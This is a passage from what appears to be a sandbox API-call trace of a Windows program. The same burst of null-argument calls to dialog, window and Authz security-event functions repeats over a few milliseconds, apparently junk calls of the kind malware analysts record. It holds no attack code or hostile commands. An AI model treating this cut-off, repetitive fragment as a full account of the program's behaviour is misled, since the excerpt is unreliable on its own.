nIDDlgItem=5) returned 0x0 [0025.645] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.645] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.645] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.645] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.645] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.645] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.645] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.645] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.645] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.646] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.646] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.646] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.646] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.646] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.646] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.646] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.646] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.646] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.646] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.646] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.646] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.646] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.646] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.646] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.646] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.646] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.646] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.646] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.646] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.646] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.646] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.646] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.646] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.646] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.646] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.646] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.646] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.646] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.646] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.646] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.646] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.646] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.646] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.646] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.646] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.646] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.646] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.646] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.646] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.646] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.646] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.647] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.647] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.647] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.647] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.647] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.647] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.647] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.647] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.647] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.647] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.647] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.647] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.647] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.647] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.647] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.647] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.647] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.647] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.647] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.647] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.647] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.647] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.647] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.647] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.647] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.647] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.647] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.647] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.647] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.647] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.647] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.647] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.647] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.647] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.647] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.647] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.647] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.647] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.647] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.647] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.647] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.648] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.648] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.648] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.648] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.648] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.648] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.648] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.648] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.648] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.648] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.648] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.648] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.648] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.648] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.648] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.648] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.648] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.648] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.648] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.648] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.648] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.648] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.648] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.648] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.648] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.648] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.648] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.648] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.648] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.648] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.648] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.648] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.648] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.648] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.648] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.648] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.648] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.648] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.648] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.648] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.648] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.648] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.649] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.649] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.649] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.649] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.649] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.649] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.649] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.649] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.649] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.649] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.649] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.649] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.649] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.649] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.649] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.649] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.649] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.649] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.649] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.649] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.649] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.649] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.649] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.649] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.649] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.649] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.649] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.649] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.649] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.649] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.649] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.649] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.649] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.649] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.649] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.649] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.649] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.649] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.649] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.649] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.649] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.650] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.650] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.650] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.650] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.650] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.650] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.650] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.650] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.650] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.650] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.650] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.650] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.650] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.650] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.650] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.650] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.650] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.650] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.650] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.650] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.650] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.650] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.650] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.650] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.650] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.650] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.650] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.650] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.650] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.650] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.650] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.650] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.650] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.650] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.650] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.650] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.650] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.650] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.650] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.650] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.650] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.650] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.651] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.651] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.651] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.651] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.651] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.651] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.651] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.651] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.651] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.651] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.651] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.651] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.651] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.651] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.651] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.651] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.651] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.651] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.651] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.651] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.651] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.651] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.651] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.651] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.651] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.651] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.651] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.651] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.651] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.651] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.651] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.651] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.651] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.651] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.651] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.651] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.651] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.651] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.651] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.651] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.651] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.652] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.652] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.652] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.652] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.652] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.652] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.652] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.652] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.652] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.652] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.652] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.652] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.652] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.652] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.652] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.652] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.652] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.652] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.652] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.652] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.652] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.652] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.652] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.652] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.652] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, 